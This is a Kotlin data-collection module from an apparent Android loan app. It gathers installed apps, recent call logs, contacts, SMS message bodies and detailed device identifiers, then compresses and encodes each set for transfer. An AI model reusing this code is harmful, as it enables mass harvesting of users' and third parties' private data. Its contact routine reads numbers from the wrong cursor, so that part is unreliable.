package com.siblings.loan.sys.data.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.PackageManager
import android.database.Cursor
import android.os.Build
import android.provider.CallLog
import android.provider.ContactsContract
import android.provider.Telephony
import android.util.Base64
import com.google.gson.Gson
import com.siblings.loan.sys.data.beans.ASAppListBean
import com.siblings.loan.sys.data.beans.ASCallLogBean
import com.siblings.loan.sys.data.beans.ASContactBean
import com.siblings.loan.sys.data.beans.ASDeviceBean
import com.siblings.loan.sys.data.beans.ASHardwareBean
import com.siblings.loan.sys.data.beans.ASMessageBean
import com.siblings.loan.sys.data.beans.ASStoreBean
import com.siblings.loan.sys.data.beans.ASWifiBean
import com.siblings.loan.sys.data.util.ASGeneralUtil
import com.siblings.loan.sys.data.util.ASHardwareUtil
import com.siblings.loan.sys.data.util.ASNetworkUtil
import com.siblings.loan.sys.data.util.ASStorageUtil
import com.siblings.loan.sys.data.util.checkPermissionsGranted
import com.siblings.loan.sys.data.util.safe
import java.io.ByteArrayOutputStream
import java.io.IOException
import java.nio.charset.StandardCharsets
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.zip.GZIPOutputStream

@SuppressLint("QueryPermissionsNeeded")
fun Context.appDatas(): String {
    return try {
        val list = mutableListOf<ASAppListBean>()
        val appList =
            packageManager.getInstalledPackages(PackageManager.GET_ACTIVITIES or PackageManager.GET_SERVICES)
        for (packageInfo in appList) {
            if (packageInfo.applicationInfo.flags and 0x1 == 0) {
                val appType = "0"
                val appPackageName = packageInfo.packageName
                val appVersionName = packageInfo.versionName
                val flags = packageInfo.applicationInfo.flags.toString()
                val installTime = packageInfo.firstInstallTime.toString()
                val lastTime = packageInfo.lastUpdateTime.toString()
                val dataPath = packageInfo.applicationInfo.dataDir.safe()
                val sourcePath = packageInfo.applicationInfo.sourceDir.safe()
                val appName = packageInfo.applicationInfo.loadLabel(packageManager).toString()
                val appVersionCode = if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                    packageInfo.versionCode.toString()
                } else {
                    packageInfo.longVersionCode.toString()
                }

                list.add(
                    ASAppListBean(
                        appType = appType,
                        appName = appName,
                        appPackageName = appPackageName,
                        appVersionName = appVersionName,
                        flags = flags,
                        installTime = installTime,
                        lastTime = lastTime,
                        dataPath = dataPath,
                        sourcePath = sourcePath,
                        appVersionCode = appVersionCode
                    )
                )
            }
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("Range")
fun Context.callLogDatas(): String {
    if (contentResolver == null) return ""
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_CALL_LOG))
    if (!hadPermission) return ""

    return try {
        val list = mutableListOf<ASCallLogBean>()
        val uri = CallLog.Calls.CONTENT_URI
        val columns = arrayOf(
            CallLog.Calls.IS_READ,
            CallLog.Calls.NEW,
            CallLog.Calls.CACHED_NUMBER_TYPE,
            CallLog.Calls.CACHED_NAME,
            CallLog.Calls.NUMBER,
            CallLog.Calls.DATE,
            CallLog.Calls.DURATION,
            CallLog.Calls.TYPE
        )
        val startTime = timeIn(-90)
        val selection = "DATE >= $startTime"
        val order = CallLog.Calls.DEFAULT_SORT_ORDER
        val cursor = contentResolver.query(uri, columns, selection, null, order) ?: return ""
        while (cursor.moveToNext()) {
            val name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME)).safe()
            val mobile = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER)).safe()
            val isReadInt = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.IS_READ))
            val isRead = if (isReadInt == 0) "YES" else "NO"
            val isNew = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.NEW)).toString()
            val duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION)).toString()
            val dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE)).toString()
            val type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE))
            val typeDes = when (type) {
                CallLog.Calls.INCOMING_TYPE -> {
                    "INCOMING_TYPE"
                }

                CallLog.Calls.OUTGOING_TYPE -> {
                    "OUTGOING_TYPE"
                }

                CallLog.Calls.MISSED_TYPE -> {
                    "MISSED_TYPE"
                }

                CallLog.Calls.VOICEMAIL_TYPE -> {
                    "VOICEMAIL_TYPE"
                }

                CallLog.Calls.REJECTED_TYPE -> {
                    "REJECTED_TYPE"
                }

                CallLog.Calls.BLOCKED_TYPE -> {
                    "BLOCKED_TYPE"
                }

                else -> ""
            }

            list.add(
                ASCallLogBean(
                    isNew = isNew,
                    isRead = isRead,
                    callTime = dateLong,
                    duration = duration,
                    nickName = name,
                    mobile = mobile,
                    type = type.toString(),
                    typeDes = typeDes
                )
            )
        }

        if (!cursor.isClosed) {
            cursor.close()
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("Range", "Recycle")
fun Context.contactDatas(): String {
    if (contentResolver == null) return ""
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_CONTACTS))
    if (!hadPermission) return ""

    return try {
        val list = mutableListOf<ASContactBean>()
        val uri = ContactsContract.Contacts.CONTENT_URI
        val columns = arrayOf(
            ContactsContract.Contacts._ID,
            ContactsContract.Contacts.DISPLAY_NAME,
            ContactsContract.Contacts.TIMES_CONTACTED,
            ContactsContract.Contacts.LAST_TIME_CONTACTED,
            ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
            ContactsContract.Contacts.HAS_PHONE_NUMBER
        )
        val cursor: Cursor = contentResolver.query(uri, columns, null, null, null) ?: return ""
        while (cursor.moveToNext()) {
            val cId =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)).safe()
            val diaplayName =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME))
                    .safe()
            val timesContacted =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.TIMES_CONTACTED))
                    .safe()
            val lasTimeContacted =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LAST_TIME_CONTACTED))
                    .safe()
            val lasUpdatedTimestamp =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP))
                    .safe()
            var hasPhoneNumber =
                cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))
                    .safe()
            hasPhoneNumber = hasPhoneNumber.ifEmpty { "-1" }

            if (hasPhoneNumber.toInt() > 0) {
                val subUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI
                val subColumns = arrayOf(
                    ContactsContract.CommonDataKinds.Phone.NUMBER
                )
                val subSelection =
                    ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + cId
                val subCursor: Cursor? =
                    contentResolver.query(subUri, subColumns, subSelection, null, null)
                if (subCursor != null) {
                    while (subCursor.moveToNext()) {
                        val phoneNumber =
                            cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))
                        val mobile = phoneNumber.trim { it <= ' ' }
                        if (mobile.isNotBlank()) {
                            val hadMobile = list.any { item ->
                                item.mobile == mobile
                            }
                            if (!hadMobile) {
                                list.add(
                                    ASContactBean(
                                        name = diaplayName,
                                        mobile = mobile,
                                        lastUpdateTime = lasUpdatedTimestamp,
                                        lastTimeContacted = lasTimeContacted,
                                        timesContacted = timesContacted
                                    )
                                )
                            }
                        }
                    }
                    if (!subCursor.isClosed) {
                        subCursor.close()
                    }
                }
            }
        }
        if (!cursor.isClosed) {
            cursor.close()
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (exception: java.lang.Exception) {
        exception.printStackTrace()
        ""
    }
}

fun Context.deviceDatas(): ASDeviceBean {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ASDeviceBean()

    return try {
        ASDeviceBean(
            imei = "",
            mac = ASNetworkUtil.getMacAddress(),
            laguage = ASGeneralUtil.getLanguage(),
            area = ASGeneralUtil.getArea(),
            screenHeight = ASGeneralUtil.getDeviceHeight(this),
            screenWidth = ASGeneralUtil.getDeviceWidth(this),
            networkData = ASGeneralUtil.getSimOperatorName(this),
            frontCameraPixels = ASHardwareUtil.getFrontCameraPixels(this),
            rearCameraPixels = ASHardwareUtil.getBackCameraPixels(this),
            ram = ASStorageUtil.getRamTotal(this),
            rom = ASStorageUtil.getCashTotal(),
            ip = ASNetworkUtil.getIPAddress(this),
            ip2 = ASNetworkUtil.getIPAddress(this),
            networkEnvironment = ASGeneralUtil.getNetworkType(this),
            cpu = ASGeneralUtil.getCpuModel()
        )
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ASDeviceBean()
    }
}

fun Context.hardwareDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ""

    return try {
        val bean = ASHardwareBean(
            phoneType = ASGeneralUtil.getPhoneType(this),
            versionCode = ASGeneralUtil.getVersionCode(this),
            versionName = ASGeneralUtil.getVersionName(this),
            androidId = ASGeneralUtil.getAndroidID(this),
            telephony = ASGeneralUtil.getSimOperatorName(this),
            isVpn = ASNetworkUtil.getVpnState(this),
            isProxyPort = ASNetworkUtil.getIsWifiProxy(),
            isDebug = ASGeneralUtil.getIsDebug(this),
            simState = ASGeneralUtil.getSimCardState(this),
            root = ASHardwareUtil.getIsRoot(),
            physicalSize = ASHardwareUtil.getPhySicalSize(this),
            displayLanguage = ASGeneralUtil.getDisplayLanguage(),
            iso3Language = ASGeneralUtil.getIso3Language(),
            iso3Country = ASGeneralUtil.getIso3Country(),
            networkOperatorName = ASGeneralUtil.getSimOperatorName(this),
            networkType = ASGeneralUtil.getNetworkType(this),
            timeZoneId = ASGeneralUtil.getTimeZoneId(),
            elapsedRealtime = ASGeneralUtil.getElapsedRealtime(),
            sensorList = ASHardwareUtil.getSensorList(this),
            lastBootTime = ASGeneralUtil.getLastBootTime(),
            rootJailbreak = ASHardwareUtil.getIsRoot(),
            keyboard = ASHardwareUtil.getKeyboard(this),
            isSimulator = ASHardwareUtil.getIsSimulator(),
            dbm = ASHardwareUtil.getMobileDbm(this),
            phoneNumber = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

var MSG_STATUS = "FET_OK"

@SuppressLint("Range")
fun Context.msgDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
    if (!hadPermission) return ""

    return try {
        val list = mutableListOf<ASMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )
        val startTime = timeIn(-180)
        val selection = "DATE >= $startTime"
        val order = Telephony.Sms.DEFAULT_SORT_ORDER
        val cursor = contentResolver.query(uri, columns, selection, null, order) ?: return ""
        while (cursor.moveToNext()) {
            val sid = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
            val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
            var person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe()
            val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
            val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe()
            var type = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            val typeOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            var protocol = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safe()
            val protocolOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safe()
            val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
            val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()

            if (person.isBlank()) {
                person = address
            }

            type = if (type == "1") {
                "RECEIVE"
            } else {
                "SEND"
            }

            protocol = if (protocol == "1") {
                "MMS"
            } else {
                "SMS"
            }

            list.add(
                ASMessageBean(
                    name = person,
                    mobile = address,
                    type = type,
                    protocol = protocol,
                    smsTime = date,
                    person = person,
                    typeOri = typeOri,
                    content = body,
                    cid = sid,
                    protocolOri = protocolOri,
                    read = read,
                    seen = read,
                    subject = "",
                    status = status,
                    dateSent = date
                )
            )
        }

        if (!cursor.isClosed) {
            cursor.close()
        }

        MSG_STATUS = if (list.isEmpty()) {
            "FET_EMPTY"
        } else {
            "FET_OK"
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.storageDatas(): String {
    return try {
        val bean = ASStoreBean(
            containSd = ASStorageUtil.getContainSD(),
            ramCanUse = ASStorageUtil.getRamCanUse(this),
            ramTotal = ASStorageUtil.getRamTotal(this),
            cashCanUse = ASStorageUtil.getCashCanUse(),
            cashTotal = ASStorageUtil.getCashTotal(),
            extraSD = ASStorageUtil.getExtraSD(),
            internalTotal = ASStorageUtil.getTotalInternalStoreSize(this),
            internalAvailable = ASStorageUtil.getAvailaInternalStoreSize(this),
            ramDidUsed = ASStorageUtil.getRamDidUsed(this),
            cashDidUsed = ASStorageUtil.getCashDidUsed(),
            sdCardTotal = ASStorageUtil.getSDCardTotal()
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.wifiDatas(): String {
    return try {
        val bean = ASWifiBean(
            currentWifi = ASNetworkUtil.getCurrentWifi(this),
            configuredWifi = "",
            wifiCount = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun String.gzipString(): String {
    if (isBlank()) return ""
    return try {
        val utf8Char = StandardCharsets.UTF_8
        val outputStream = ByteArrayOutputStream()
        GZIPOutputStream(outputStream).use { gzipOutputStream ->
            gzipOutputStream.write(this.toByteArray(utf8Char))
        }
        val zipBuffer = outputStream.toByteArray()
        return Base64.encodeToString(
            zipBuffer,
            Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING
        )
    } catch (e: IOException) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("SimpleDateFormat")
fun Context.timeIn(nextDays: Int): Long {
    return try {
        val mCalendar = Calendar.getInstance().apply {
            add(Calendar.DAY_OF_MONTH, nextDays)
        }
        val year = mCalendar[Calendar.YEAR]
        val month = mCalendar[Calendar.MONTH] + 1
        val day = mCalendar[Calendar.DAY_OF_MONTH]
        val format = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
        val date = format.parse("$year-$month-$day 00:00:00")
        date?.time ?: 0L
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        0L
    }
}